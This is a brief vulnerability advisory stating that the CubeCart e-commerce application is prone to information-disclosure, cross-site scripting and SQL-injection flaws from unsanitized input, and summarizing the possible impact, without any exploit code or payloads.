CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
